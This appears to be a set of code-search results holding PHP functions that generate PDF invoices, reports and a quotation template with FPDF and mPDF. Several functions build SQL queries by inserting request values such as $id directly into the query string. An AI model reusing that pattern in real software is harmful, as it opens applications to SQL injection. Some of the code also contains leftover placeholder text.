$this->pdf->SetFont('Arial', '', 8);\n $this->pdf->SetAligns(array('C', 'L', 'R'));\n $cantidad_filas = 0;\n $numero_items = 15;\n foreach ($detalle_venta as $row_detalle) {\n $cantidad_filas++;\n $estilo = 'RL';\n if ($nro == 1) {\n $estilo = $estilo . 'T';\n }\n if ($numero_items == $cantidad_filas) {\n $estilo = 'LRB';\n }\n\n $this->pdf->Cell(13, 4, utf8_decode($nro), $estilo, 0, 'C');\n $this->pdf->Cell(154, 4, utf8_decode($row_detalle->detalle), $estilo, 0, 'L');\n $this->pdf->Cell(25, 4, utf8_decode($row_detalle->precio_venta . ' '), $estilo, 0, 'R');\n $this->pdf->Ln(4);\n $nro = $nro + 1;\n }\n\n while ($numero_items > $cantidad_filas) {\n $cantidad_filas++;\n if ($numero_items == $cantidad_filas) {\n $estilo = 'LRB';\n }\n $this->pdf->Cell(13, 4, '', $estilo, 0, 'C');\n $this->pdf->Cell(154, 4, 'dont worry be happy', $estilo, 0, 'L');\n $this->pdf->Cell(25, 4, '', $estilo, 0, 'R');\n $this->pdf->Ln(4);\n }\n\n $this->pdf->Ln(2);\n $this->pdf->SetFont('Arial', 'B', 8);\n $this->pdf->Cell(7, 5, 'Son:', 'LTB', 0, 'L');\n $this->pdf->SetFont('Arial', '', 8);\n $this->pdf->Cell(125, 5, 'dasdad', 'TBR', 0, 'L');\n $this->pdf->Cell(5, 5, '', '', 0, 'L');\n $this->pdf->SetFont('Arial', 'B', 8);\n $this->pdf->Cell(20, 5, 'TOTAL Bs. :', 1, 0, 'R');\n $this->pdf->SetFont('Arial', '', 8);\n $this->pdf->Cell(35, 5, 'TOTAL Bs. :', 1, 0, 'R');\n $this->pdf->Ln(8);\n\n\n $this->pdf->SetMargins(10, 10, 10);\n $this->pdf->SetFont('Arial', 'B', 8);\n $this->pdf->SetWidths(array(20, 100, 60));\n //un arreglo con alineacion de cada celda\n $this->pdf->SetAligns(array('C', 'L', 'R'));\n /* quitamos bolf, y empezamos a dibujar las grillas*/\n $this->pdf->SetFont('Arial', '', 9);\n $this->pdf->SetFont('Arial', '', 9);\n $this->pdf->Output(\"Factura.pdf\", 'I');\n }", "title": "" }, { "docid": "bffabfad054214c9f31d8deef78fdf4c", "score": "0.7101414", "text": "function PDFReporteclientes($orientation='P',$unit='mm',$format='A4',$parametrosPDF)\n {\n $this->FPDF($orientation,$unit,$format);\n $this->parametros = json_decode($parametrosPDF); \n //Iniciaci�n de variables\n $this->Conn = new Conexion();\n $this->B=0;\n $this->I=0;\n $this->U=0;\n $this->HREF='';\n \n }", "title": "" }, { "docid": "fd101cc45621041522d47d60c3dd5894", "score": "0.70790774", "text": "public function pdf_galvanizado($usuario, $unidad, $sema_inicio, $sema_fin) {\n\n $pdf_galvanizado_detalle = [\n 'dateFechIngr' => intval($sema_inicio),\n 'dateFechSali' => intval($sema_fin),\n 'tipo_reporte' => $unidad\n ];\n $url = \"http://localhost/GestionReportes/public/index.php/reporte_galvanizado_turno\";\n $ch5 = curl_init($url);\n\n curl_setopt($ch5, CURLOPT_RETURNTRANSFER, true);\n curl_setopt($ch5, CURLINFO_HEADER_OUT, true);\n curl_setopt($ch5, CURLOPT_POST, true);\n curl_setopt($ch5, CURLOPT_POSTFIELDS, $pdf_galvanizado_detalle);\n $data = curl_exec($ch5);\n $datos_array = json_decode($data, true);\n $array_temp = $datos_array['data'];\n //dd($array_temp);\n \n\n date_default_timezone_set('America/Lima');\n $current_date = date('Y/m/d H:i:s');\n\n $html = PDF::loadView('Galvanizado/pdf_galvanizado', ['user' => $usuario, 'detalle' => $array_temp,'fecha_hoy'=>$current_date])->setPaper('a4', 'landscape');\n //dd($html);\n $html->setOptions(['margin-top' => 0, 'margin-right' => 0, 'margin-bottom' => 0, 'margin-left' => 0, 'footer-center' => 'Pagina [page] de [toPage]']);\n\n\n return $html->download($usuario . '.pdf');\n }", "title": "" }, { "docid": "d5c1002fe1b52f3df69160f8859e2b05", "score": "0.70749867", "text": "public function printsatuk($d)\n {\n $filename = \"Data Keluar Surat No \" . $d['id'];\n $pdf = new FPDF('P', 'mm', 'A4');\n $pdf->AddPage();\n\n //set font to arial, bold, 14pt\n\n $pdf->Setfont('Arial', 'B', 16);\n\n //cell(width , height , text , border , end line , [align])\n\n $pdf->Cell(0, 10, 'PENGADILAN AGAMA KARAWANG', 0, 1, 'C'); //end line\n $pdf->Cell(0, 10, \"DATA SURAT KELUAR \" . $d['no'], 0, 1, 'C'); //end line\n $pdf->Ln(10); //end line\n\n $pdf->SetFont('Arial', '', 14);\n $pdf->Cell(50, 10, 'Tanggal / Nomor ', 0, 0);\n $pdf->Write(10, ': ' . date('d-m-y', strtotime($d['tgl'])) . ' / ' . $d['no']);\n $pdf->Ln(10);\n $pdf->Cell(50, 10, 'Tujuan', 0, 0);\n $pdf->Write(10, ': ' . $d['tujuan']);\n $pdf->Ln(10);\n $pdf->Cell(50, 10, 'Isi Ringkasan', 0, 0);\n $pdf->Write(10, ': ' . $d['perihal']);\n $pdf->Ln(10);\n $pdf->Cell(50, 10, 'Pengolah', 0, 0);\n $pdf->Write(10, ': ' . $d['pengolah']);\n $pdf->Ln(10);\n $pdf->Output($filename, \"I\");\n }", "title": "" }, { "docid": "d5d15aedf6405e8cb2820192fceb1f7d", "score": "0.70741576", "text": "public function pdf_proyecto($id)\n {\n\n $select1 = 'p.id,p.fecha_elaboracion,p.responsable,p.tlf,p.domicilio,p.cargo,p.correo,'\n . 'p.nom_proyecto,p.ubicacion, p.duracion,p.inicio,p.fin,p.ano_fiscal,p.etapa,'\n . 'p.f_financiamiento, p.indicador_g,p.identificador,p.m_verificacion,p.ambito,'\n . 'p.especifique_amb,p.plan_patria,p.objetivo_historico,p.objetivo_nacional,'\n . 'p.objetivo_estrategico,p.objetivo_general,p.plan_gobierno,p.linea_estrategica,'\n . 'p.area_inversion,p.sector,p.tipo_inversion,p.desc_problema,p.obj_general,'\n . 'p.imp_impacto,p.ben_femeninos,p.ben_masculinos,p.total_ben,p.req_acciones,'\n . 'p.acc_institucion,p.estimado_fem,p.estimado_mas,p.estimado_t_direc,'\n . 'p.estimado_t_indirec,p.acc_institucion,p.acc_especifique,p.con_acciones,'\n . 'p.con_institucion,p.con_especifique,p.en_acciones,p.en_institucion,'\n . 'p.en_especifique,p.codigo, o.nom_ins';\n $datos['row'] = $this->ModelStandard->join_table_row('proyecto_registro p', 'organos_entes o', 'p.ente', 'o.id', 'p.id', $id, $select1);\n\n // Proceso de Carga de Planes de la Patria\n $campos1 = \"acc.plan_patria = p.id\";\n $select1 = 'p.plan_patria';\n $where1 = \"p.id=\" . $datos['row']->plan_patria;\n $datos['plan_patria'] = $this->ModelStandard->join_table_where('proyecto_registro acc', 'plan_patria p', $campos1, $select1, $where1, 'row');\n\n // Proceso de carga de Objetivos Historico\n $campos2 = \"acc.objetivo_historico = o.id\";\n $select2 = 'o.objetivo_historico';\n $where2 = \"o.id=\" . $datos['row']->objetivo_historico;\n $datos['objetivo_historico'] = $this->ModelStandard->join_table_where('proyecto_registro acc', 'objetivo_historico o', $campos2, $select2, $where2, 'row');\n\n // Proceso de carga Objetivo Nacional\n $campos3 = \"acc.objetivo_nacional = o.id\";\n $select3 = 'o.objetivo_nacional';\n $where3 = \"o.id=\" . $datos['row']->objetivo_nacional;\n $datos['objetivo_nacional'] = $this->ModelStandard->join_table_where('proyecto_registro acc', 'objetivo_nacional o', $campos3, $select3, $where3, 'row');\n\n // Proceso de carga de Objetivo Estrategico\n $campos4 = \"acc.objetivo_estrategico = o.id\";\n $select4 = 'o.objetivo_estrategico';\n $where4 = \"o.id=\" . $datos['row']->objetivo_estrategico;\n //echo $where4;\n $datos['objetivo_estrategico'] = $this->ModelStandard->join_table_where('proyecto_registro acc', 'objetivo_estrategico o', $campos4, $select4, $where4, 'row');\n\n // Proceso de carga de Objetivo General\n $campos5 = \"acc.objetivo_general = o.id\";\n $select5 = 'o.objetivo_general';\n $where5 = \"o.id=\" . $datos['row']->objetivo_general;\n\n $datos['objetivo_general'] = $this->ModelStandard->join_table_where('proyecto_registro acc', 'objetivo_general o', $campos5, $select5, $where5, 'row');\n\n // Proceso de carga de Plan de Gobierno\n $campos6 = \"acc.plan_gobierno = p.id\";\n $select6 = 'p.plan_gobierno';\n $where6 = \"p.id=\" . $datos['row']->plan_gobierno;\n $datos['plan_gobierno'] = $this->ModelStandard->join_table_where('proyecto_registro acc', 'plan_gobierno p', $campos6, $select6, $where6, 'row');\n\n // Proceso de carga de la Linea\n $campos7 = \"acc.linea_estrategica = l.id\";\n $select7 = 'l.linea_estrategica';\n $where7 = \"l.id=\" . $datos['row']->linea_estrategica . \" AND l.plan_gobierno=\" . $datos['row']->plan_gobierno;\n $datos['linea_estrategica'] = $this->ModelStandard->join_table_where('proyecto_registro acc', 'linea_estrategica l', $campos7, $select7, $where7, 'row');\n\n // Proceso de carga del Sector\n $campos8 = \"p.sector = s.id\";\n $select8 = 's.sector';\n $where8 = \"s.id=\" . $datos['row']->sector;\n $datos['sector'] = $this->ModelStandard->join_table_where('proyecto_registro p', 'sectores s', $campos8, $select8, $where8, 'row');\n\n // Proceso de carga Acciones no financieras\n if ($datos['row']->acc_institucion > 0) {\n $campos9 = \"p.acc_institucion = o.id\";\n $select9 = 'o.nom_ins';\n $where9 = \"o.id=\" . $datos['row']->acc_institucion;\n $datos['acc_institucion'] = $this->ModelStandard->join_table_where('proyecto_registro p', 'organos_entes o', $campos9, $select9, $where9, 'row');\n $datos['acc_instituciones'] = $datos['acc_institucion']->nom_ins;\n } else {\n $datos['acc_instituciones'] = \"N/A\";\n }\n // Proceso para la carga de Acciones de otras Instituciones\n if ($datos['row']->con_institucion > 0) {\n $campos10 = \"p.con_institucion = o.id\";\n $select10 = 'o.nom_ins';\n $where10 = \"o.id=\" . $datos['row']->con_institucion;\n $datos['con_institucion'] = $this->ModelStandard->join_table_where('proyecto_registro p', 'organos_entes o', $campos10, $select10, $where10, 'row');\n $datos['con_instituciones'] = $datos['con_institucion']->nom_ins;\n } else {\n $datos['con_instituciones'] = \"N/A\";\n }\n\n // Proceso de carga de Conflicto con otra institución\n if ($datos['row']->en_institucion > 0) {\n $campos11 = \"p.en_institucion = o.id\";\n $select11 = 'o.nom_ins';\n $where11 = \"o.id=\" . $datos['row']->en_institucion;\n $datos['en_institucion'] = $this->ModelStandard->join_table_where('proyecto_registro p', 'organos_entes o', $campos11, $select11, $where11, 'row');\n $datos['en_instituciones'] = $datos['en_institucion']->nom_ins;\n } else {\n $datos['en_instituciones'] = \"N/A\";\n }\n // Proceso de carga de las Acciones Especificas en base al tiempo de ejecución\n $datos['acc_esp_te'] = $this->ModelStandard->search('pk', 'distribucion_acc_especifica', $datos['row']->id);\n\n // Proceso de carga de las Metas Financieras de las Acciones Especificas\n $campos12 = \"a.id = b.id_acc\";\n $select12 = 'a.acc_esp,b.trimestre_i,b.trimestre_ii,b.trimestre_iii,b.trimestre_iv,b.total';\n $where12 = \"b.pk=\" . $datos['row']->id;\n $datos['acc_es_fin'] = $this->ModelStandard->join_table_where('distribucion_acc_especifica a', 'distribucion_trimestral_acc_especifica b', $campos12, $select12, $where12, 'result');\n\n // Monto general del Proyecto (Solicitud)\n $monto_proyecto = 0;\n foreach ($datos['acc_es_fin'] as $value) {\n $monto_proyecto += $value->total;\n }\n $datos['monto_soli'] = $monto_proyecto;\n\n // Monto general del Proyecto (Asignacion)\n $query_monto_asig = \"SELECT proy.id AS id_proyecto,oe.id,SUM(dis.m_asig) AS monto_asig FROM distribucion_trimestral_imp_pre AS dis INNER JOIN proyecto_registro AS proy ON(dis.pk=proy.id) INNER JOIN organos_entes AS oe ON(proy.ente=oe.id) INNER JOIN observaciones_acciones_proy AS obs ON(proy.ente=obs.organo) WHERE proy.estatus=4 AND proy.id=$id GROUP BY oe.nom_ins,oe.id,proy.id\";\n $proyectos_montos_asig = $this->ModelStandard->query_set($query_monto_asig, 'row');\n $datos['monto_asig'] = $proyectos_montos_asig;\n\n // Proceso de carga de las Imputaciones Presupuestarias\n $campos13 = \"a.id = b.denominacion\";\n $select13 = 'a.partida_presupuestaria,a.codigo,b.trimestre_i,b.trimestre_ii,b.trimestre_iii,b.trimestre_iv,b.cantidad';\n $where13 = \"b.pk=\" . $datos['row']->id;\n $datos['partida_presupuestaria'] = $this->ModelStandard->join_table_where('partida_presupuestaria a', 'distribucion_trimestral_imp_pre b', $campos13, $select13, $where13, 'result');\n\n $this->load->view('acciones/proyecto/pdf/proyecto', $datos);\n }", "title": "" }, { "docid": "2dd1807105d624a9bf30bf8947363a5c", "score": "0.70734656", "text": "function generar_pdf (toba_vista_pdf $salida){\n $pdf=$salida->get_pdf();\n \n //configuramos los margenes del pdf (top, bottom, left, right)\n $pdf->ezSetMargins(40, 40, 33, 33);\n \n //definimos el formato del pie de pagina\n $pie_de_pagina=\"Página {PAGENUM} de {TOTALPAGENUM}\";\n \n //agregamos el numero de pagina al pdf\n $pdf->ezStartPageNumbers(300, 20, 8, 'left', utf8_d_seguro($pie_de_pagina));\n \n //definimos el formato de la tabla que contiene el pdf\n $formato_cuadro=array(\n 'splitRows' => 0,\n 'rowGraph' => 1,\n 'showHeadings' => true,\n 'titleFontSize' => 9,\n 'fontSize' => 10, //definimos el tamanio de fuente\n 'shadeCol' => array(0.9,0.9,0.9), //especificamos el color de cada fila\n 'xOrientation' => 'center',\n 'width' => 500,\n 'xPos' => 'center',\n 'yPos' => 'center',\n );\n \n //definimos los nombres de las columnas de la tabla\n $formato_columna=array(\n 'hora_inicio' => 'Hora de Inicio',\n 'hora_fin' => 'Hora de Fin',\n 'aula' => 'Aula',\n );\n \n //definimos el encabezado del documento\n $this->configurar_encabezado($pdf);\n \n //definimos el nombre del archivo\n $salida->set_nombre_archivo(\"Horarios Disponibles Alternativos.pdf\");\n \n //agregamos la tabla al pdf\n $pdf->ezTable($this->s__horarios_disponibles, $formato_columna, \"\", $formato_cuadro);\n \n //cerramos el buffer de salida. Si no se cierra dicho buffer el archivo pdf se genera dañado\n ob_end_clean(); \n $pdf->ezOutput(0);\n \n //encabezados HTTP al cliente\n header('Cache-Control: private');\n header('Content-type: application/pdf');\n header('Content-Disposition: attachment; '); //filename=\"Archivo\"\n header('Pragma: no-cache');\n header('Expires: 0'); \n }", "title": "" }, { "docid": "0146437532f7409f79b0575f00a4e52c", "score": "0.70723295", "text": "public function Pratinjau()\n\t\t{\n\t\t\t $idkategori = $this->session->userdata('idkategori');\n\t\t\t\t $querykategori = $this->db->get_where('kategori',array('id_kategori'=>$idkategori))->row();\n\t\t\t\t$hasil = $querykategori->nama_kategori;\n\t\t\t\t\n\t\t\tif ($session_id = $this->session->userdata('status') == 'Waiting' && $session_id = $this->session->userdata('status') == 'post') {\n\n\t\t\t\t$html = '\n\t\t\t<pageheader name=\"myHeaderNoNum\" content-left=\"Pratinjau Jurnal '.$hasil.'\" content-center=\"\" content-right=\"Vol.'.$this->session->userdata('vol').' No.'.$this->session->userdata('nomer').', '.$this->session->userdata('bulan').' '.$this->session->userdata('tahun').'\" header-style=\"font-family:sans-serif; font-size:10pt; color:#000000;\" header-style-right=\"font-size:10pt; font-weight:bold; font-style:italic; color:#000000;\" line=\"on\" />\n\t\t\t<setpageheader name=\"myHeaderNoNum\" page=\"O\" value=\"on\" show-this-page=\"1\" />' ;\n\n\n\t\t\t$this->load->library('M_pdf');\n\t\t $pdf = $this->m_pdf->load();\n \t $pdf->SetDisplayMode(200);\n\n \t\n \t $pdf->list_indent_first_level = 0;\t// 1 or 0 - whether to indent the first level of a list\n\n\t\t $pdf->max_colH_correction = 1.1;\n\n\t\t $pdf->WriteHTML($html,2);\n\t\t $pdf->WriteHTML($this->load->view('pratinjau2nodb/V_judul', array(), true),2); \n\t\t\t$pdf->WriteHTML($this->load->view('pratinjau2nodb/V_abstrak', array(), true),2);\n\n\t\t // consider reducing lineheight when using columns - especially if vAligned justify\n\t\t $pdf->SetDefaultBodyCSS('line-height', 1.2);\n\t\t $pdf->SetColumns(2,'J');\n\t\t $pdf->WriteHTML($this->load->view('pratinjau2nodb/V_pendahuluan', array(), true),2);\n\t\t $pdf->WriteHTML($this->load->view('pratinjau2nodb/V_daftarpustaka', array(), true),2);\n \t $pdf->Output();\n\n\t\t\t}else {\n\t\t\t$html = '\n\t\t\t<pageheader name=\"myHeaderNoNum\" content-left=\"JURNAL\" content-center=\"\" content-right=\"Pratinjau\" header-style=\"font-family:sans-serif; font-size:10pt; color:#000000;\" header-style-right=\"font-size:10pt; font-weight:bold; font-style:italic; color:#000000;\" line=\"on\" />\n\t\t\t<setpageheader name=\"myHeaderNoNum\" page=\"O\" value=\"on\" show-this-page=\"1\" />' ;\n\n\n\t\t\t$this->load->library('M_pdf');\n\t\t $pdf = $this->m_pdf->load();\n \t $pdf->SetDisplayMode(200);\n\n \t\n \t $pdf->list_indent_first_level = 0;\t// 1 or 0 - whether to indent the first level of a list\n\n\t\t $pdf->max_colH_correction = 1.1;\n\n\t\t $pdf->WriteHTML($html,2);\n\t\t $pdf->WriteHTML($this->load->view('pratinjau2nodb/V_judul', array(), true),2); \n\t\t\t$pdf->WriteHTML($this->load->view('pratinjau2nodb/V_abstrak', array(), true),2);\n\n\t\t // consider reducing lineheight when using columns - especially if vAligned justify\n\t\t $pdf->SetDefaultBodyCSS('line-height', 1.2);\n\t\t $pdf->SetColumns(2,'J');\n\t\t $pdf->WriteHTML($this->load->view('pratinjau2nodb/V_pendahuluan', array(), true),2);\n\t\t $pdf->WriteHTML($this->load->view('pratinjau2nodb/V_daftarpustaka', array(), true),2);\n \t $pdf->Output();\n\n \t }\n\n\t\t}", "title": "" }, { "docid": "778befeefe887793523a33a4fbf38830", "score": "0.7070784", "text": "function Index() {\r\n $this->load->library('pdf');\r\n $this->load->model('Producto');\r\n $provincias=$this->Producto->LeeTodo();\r\n \r\n $this->pdf=new Pdf();\r\n $this->pdf->AddPage();\r\n foreach ($provincias as $provincia)\r\n {\r\n $this->pdf->Cell(25,5,$provincia->nombre,'B',0,'L',0);\r\n $this->pdf->Ln(5);\r\n }\r\n $this->pdf->Output('Lista de provincias.pdf','I');\r\n}", "title": "" }, { "docid": "16da42b7c4c37152b38eb66aa284e75d", "score": "0.7068098", "text": "public function export_guias_pdf()\n{\n\n\nrequire('lib/fpdf16/fpdf.php');\n\n$pdf = new FPDF();\n$pdf->AddPage();\n\n $pdf->SetFont('Arial','B',8);\n $pdf->SetFillColor(240,240,240);\n $pdf->SetLineWidth(.3);\n $pdf->SetXY(10,15);\n $fill = true;\n//cabecera del documento\n$cabecera=$this->cargar_cabecera();\n//datos del documento\n$data_general=$this->cargar_data_general();\n$trozos=explode(\",\",$data_general);\n$cols\t\t=$trozos[0];\n$titulo\t\t=$trozos[1];\n$nombre_doc\t=$trozos[2];\n\nforeach ($cabecera as $tit)\n{\n\n for($n=0;$n<=$cols;$n++)\n\t{\n\t$ancho[$n]=(strlen($tit[$n])*2);\n\t$ancho_g=$ancho[$n]+$ancho_g;\n\t}\n\n}\n\n\n $pdf->Cell($ancho_g,4,$titulo,'1',0,'C',$fill);\n $pdf->Ln();\n\n\n\n $fill = false;\n\n$pdf->SetFont('Arial','',8);\n$data=$this->cargar_datos();\n\n$cuenta_filas=2;\nforeach($data as $row)\n{\n$q++;\nif($q%2==0)\n{\n\t$w=10;\n\t$h=150;\n\n\n}else\n{\nif($q==1)\n{\n \t$w=10;\n\t$h=28;\n}else\n{\n$pdf->AddPage();\n \t$w=10;\n\t$h=25;\n}\n}\n$pdf->SetXY($w,$h-8);\n\n \tfor($i=0;$i<=$cols;$i++)\n\t{\n $pdf->Cell($ancho[$i],4,substr($row[$i],0,$ancho[$i]-1),'1',0,'L',$fill);\n\t}\n\n\t$guia=trim($row[0]);\n\t$PREFIX=\"../reportes/imagenes5/\";\n\t$imagen=$PREFIX.$guia.\".jpg\";\n\n\tif(file_exists($imagen))\n\t{\n\t$pdf->Image($imagen,$w,$h,180,110);\n\t}else\n\t{\n\t$pdf->Text(14,10,\"Sin Imagen Disponible\".$imagen);\n\t}\n\n\n\n\n\t\n\t\n}\n\n$pdf->Output($nombre_doc.\".pdf\",\"D\");\n\n\n}", "title": "" }, { "docid": "05d9a291f13fe2944e2e775c62ae5062", "score": "0.7062879", "text": "public function pdfPembayaran($id)\n {\n # code...\n }", "title": "" }, { "docid": "68fc11e875a67ec53e96b9e5261dba48", "score": "0.7055697", "text": "public function get_pdf_poa(){\n if($this->input->is_ajax_request() && $this->input->post()){\n $post = $this->input->post();\n $dist_id = $this->security->xss_clean($post['dist_id']); // dist id\n $get_pdf=$this->model_estructura_org->get_poa_scanneado($dist_id);\n $tabla='<hr><iframe id=\"ipdf\" width=\"100%\" height=\"800px;\" src=\"'.base_url().'scanneados/'.$get_pdf[0]['descripcion'].'\"></iframe>';\n\n $result = array(\n 'respuesta' => 'correcto',\n 'tabla'=>$tabla,\n );\n \n echo json_encode($result);\n }else{\n show_404();\n }\n }", "title": "" }, { "docid": "a7c8142b1c846ce23125c07791699076", "score": "0.70332736", "text": "public function pdfcontroller()\n\t\t{\n\t\t\n\t\t $this->load->library('pdf');\n $adorder = new App();\n\t\t\t\t\t$this->app = new App();\n\t\t\t\t\t//$data['orders'] = $adorder->orderlisting();\n\t\t\t\t\t \n\t\t\t\t\t $orderid=$this->uri->segment(3);\n\t\t\t\t\t \n\t\t\t\t\t $data['products']=$adorder->getviewproducts(); \n\t\t\t\t\t \n\t\t\t\t\t \n $ordid=$orderid;\n $data['order_details']=$adorder->getorderdetails($ordid); \n\t\t\t\t\t \n\t\t\t\t\t $g=\"0\";\n\t\t\t\t\t\n\t\t\n\t\tforeach ($data['order_details'] as $item)\n\t\t\t\n\t\t{\n\t\t\t\n\t\t\t\n\t\t$itemid=$item['id'];\n\t\t\t\n\t\t\t//echo $itemid;\n\t\t\t\n\t\t$data['filearr'][$itemid]=$adorder->getitem($itemid);\n\t\t\t\n\t\t\t\n\t\t\n\n //print_r($data['filearr'][$itemid]);\n\n\n \n\n\n\t\t\t\n\t\t\t\n\t\t}\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t\n\t\t//print_r($data['order_details']);\n\t\t\n\t\t$data['orders'] = $adorder->getordersingle($orderid);\n\t\t\n\t\t//$data['item_files'] = $app->getitemfiles($itemid); \n\t\t\n\t\t\n\t\t$data['orderid'] = $orderid;\n\t\t\n\t\t$data['shipping'] = $adorder->getshippingorder($orderid);\n\t\t\n\t\t$data['billing'] = $adorder->getbillingorder($orderid);\n\t\t\n\t\t\n\t\t$shipcode=$data['billing'][country_code];\n\t\t$data['countryarr']=$adorder->getcountryname($shipcode);\n\t\t\n\t\t\n\t\t$scode=$data['shipping'][country_code];\n\t\t$data['shipcountryarr']=$adorder->getcountryname($scode);\n\t\t\n\t\t$data['ordernotes']=$adorder->ordernotes($orderid);\n\t\t \n\t\t $data['invoicedetails']=$adorder->invoiceinfo($orderid);\n\t\t \n\t\t$invid=$data['invoicedetails'][invoice_id];\n\t\t\n\t\t \n\t$data['invoicepayments']=$adorder->paymentinfo($invid);\n\t\t \n\t\t foreach ($data['invoicepayments'] as $pa)\n\t\t {\n\t\t\t \n\t\t\t $collect=$pa['invoice_collected_by'];\n\t\t\t \n\t\t\t\n\t\t \n\t\t $data['cby'][$collect]=$adorder->getcollectedby($collect);\n\t\t\t \n\t\t\t//echo \"jjj\".$data['colledtedby'][$collect][employee_name];\n\t\t\t \n\t\t }\n\t\t \n\t\t $data['invoiceactivity']=$adorder->paymentactivity($invid);\n\t\t\n\t\t $root = getenv(\"DOCUMENT_ROOT\");\n\t\t\n\t\t//echo '<img src=\"'.base_url().'/assets/deyar/img/brand/footer-logo.png\" />';\n\t\t//exit;\n\t\t\n\t\t \n\t\t \n\t\t $markazi=\"Markazi Text\";\n\t\t\n\t\t $html ='<html dir=\"rtl\" lang=\"ar\">\n<head>\n <meta charset=\"UTF-8\">\n <meta http-equiv=\"Content-Type\" content=\"text/html;charset=UTF-8\">\n <style type=\"text/css\">\n @font-face {\n font-family: DejaVuSansCondensed;\n font-style: normal;\n font-weight: normal;\n src: url(https://fonts.googleapis.com/css2?family=Tajawal:wght@400;500;700&display=swap) format(\"truetype\");\n}\n\n\n body{\n \tdirection:rtl;\n\n }\n .invoice-listing-table th {\n font-family: OpenSans-Regular;\n background-color: #e5e5e5;\n border-bottom: 1px solid #555555;\n border-top: 1px solid #555555;\n font-weight: bold;\n text-align: left;\n padding: 6px 4px;\n font-size: 13px;\n }\n\n.total-table td {\n font-size: 13px;\n border-left: 1px solid #555555;\n}\n.invoice-listing-table td {\n font-size: 13px;\n border-bottom: 1px solid #555555;\n text-align: left;\n padding: 5px 6px;\n vertical-align: top;\n}\n.total-table td:last-child {\n border-right: 1px solid #555555;\n}\n.total-table th:last-child {\n border-right: 1px solid #555555;\n}\n\n table tbody tr td p span.arabic{\n font-family: DejaVuSansCondensed;\n display: inline-block;\n direction: rtl;\n }\n table tbody tr td span.arabic{\n font-family: DejaVuSansCondensed;\n display: inline-block;\n direction: rtl;\n }\n table tbody tr td h3 span.arabic{\n font-family: DejaVuSansCondensed;\n display: inline-block;\n direction: rtl;\n }\n </style>\n</head>\n<body>\n <div class=\"\" style=\"width: 720px;margin: 0 auto;\">\n <div class=\"Quotation-wrap\">\n <div class=\"Quotation-inner\">\n <table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n <tbody>\n <tr>\n <td class=\"text-left\" valign=\"top\" width=\"40%\">\n <p style=\"line-height: 1.6;font-size: 14px;font-weight: 600;\">\n <span class=\"bussines-name\">Fahad Ibn Ibrahim St. Malaz Area</span><br>\n Riyadh 2919 -14513 - K.S.A <br>\n Tel.: 00966 11 474 1435 <br>\n Mob.: 00966 53 488 4853 <br>\n Email : [email protected]<br>\n VAT No. 300742361400003 : <span class=\"arabic\" style=\"color:#000;direction: rtl;font-family: Amiri, serif;\" dir=\"rtl\" lang=\"ar\">اﻟﺮﻗﻢ اﻟﻀﺮﻳﺒﻲ</span>\n\n </p>\n </td>\n <td class=\"text-center\" width=\"30%\" style=\"text-align: center;\">\n <h3 class=\"arabic\" style=\"margin-bottom: 5px;font-size: 24px;direction: rtl;font-family: Amiri, serif;\"><span class=\"arabic\" dir=\"rtl\" lang=\"ar\">ﻋﺮض ﺳﻌﺮ\n </span></h3>\n <h3 style=\"font-size: 18px;font-weight: bold;margin-top: 5px;\">QUOTATION 01</h3>\n </td>\n <td style=\"text-align: right;padding-top: 15px;\" valign=\"top\">\n <img src=\"https://www.deyar.demoatcrayotech.com/printstore/assets/deyar/skin/img/logo-d.png\" style=\"width: 200px;\">\n </td>\n \n \n </tr>\n </tbody>\n </table>\n <div class=\"Quotation-address\" style=\"padding-top: 5px;\n padding-bottom: 5px;border-top: 1px solid #1e1e1c;\">\n <table width=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n <tbody>\n <tr>\n \n <td style=\"line-height: 1.6;font-size: 14px;font-weight: 600;padding: 10px 0px;text-align: left; vertical-align: middle;width:70%;\" >\n\n \n <table idth=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" >\n <tbody>\n <tr>\n <td style=\"line-height: 1.6;font-size: 14px;font-weight: 600;padding: 10px 0px;text-align: left; vertical-align: middle;\">\n Customer Name :\n </td>\n <td style=\"line-height: 1.6;font-size: 14px;font-weight: 600;padding: 10px 0px;text-align: left; vertical-align: middle;width: 200px;\">\n <input type=\"\" name=\"\" style=\"vertical-align: middle;height: 16px;background-color: #F1F1F2;border: 1px solid #F1F1F2;padding: 5px 8px;width: 100%;\"> \n </td>\n <td style=\"line-height: 1.6;font-size: 18px;font-weight: 600;padding: 10px 0px;text-align: left; vertical-align: middle;\"> \n : <span class=\"arabic\" style=\"font-size: 18px;direction: rtl;\" dir=\"rtl\" lang=\"ar\"> اﺳﻢ اﻟﻌﻤﻴﻞ</span></td>\n </tr>\n </tbody>\n </table>\n <table idth=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" >\n <tbody>\n <tr>\n <td style=\"line-height: 1.6;font-size: 14px;font-weight: 600;padding: 10px 0px;text-align: left; vertical-align: middle;width: 30px;\">\n Cares :\n </td>\n <td style=\"line-height: 1.6;font-size: 14px;font-weight: 600;padding: 10px 0px;text-align: left; vertical-align: middle;width: 200px;\">\n <input type=\"\" name=\"\" style=\"vertical-align: middle;height: 16px;background-color: #F1F1F2;border: 1px solid #F1F1F2;padding: 5px 8px;width: 100%;\"> \n </td>\n <td style=\"line-height: 1.6;font-size: 18px;font-weight: 600;padding: 10px 0px;text-align: left; vertical-align: middle;width: 50px;\">\n : <span class=\"arabic\" style=\"font-size: 18px;direction: rtl;\" dir=\"rtl\" lang=\"ar\">ﻋﻨﺎﻳﺔ</span>\n </tr>\n </tbody>\n </table>\n\n \n </td>\n <td style=\"line-height: 1.6;font-size: 14px;font-weight: 600;padding: 10px 0px;text-align: right;vertical-align: middle;width:30%;\">\n\n <table idth=\"100%\" border=\"0\" cellspacing=\"0\" cellpadding=\"0\" style=\"float: right;\">\n <tbody>\n <tr>\n <td style=\"line-height: 1.6;font-size: 14px;font-weight: 600;padding: 10px 0px;text-align: right; vertical-align: middle;\">\n Quotation No.:\n </td>\n <td style=\"line-height: 1.6;font-size: 14px;font-weight: 600;padding: 10px 0px;text-align: right; vertical-align: middle;\">\n <input type=\"text\" name=\"noquo\" style=\"vertical-align: middle;height:16px;background-color:#F1F1F2;border: 1px solid #F1F1F2;padding: 5px 8px;width: 90px;\"> \n </td>\n </tr>\n <tr>\n <td style=\"line-height: 1.6;font-size: 14px;font-weight: 600;padding: 10px 0px;text-align: right; vertical-align: middle;\">\n Date.: \n 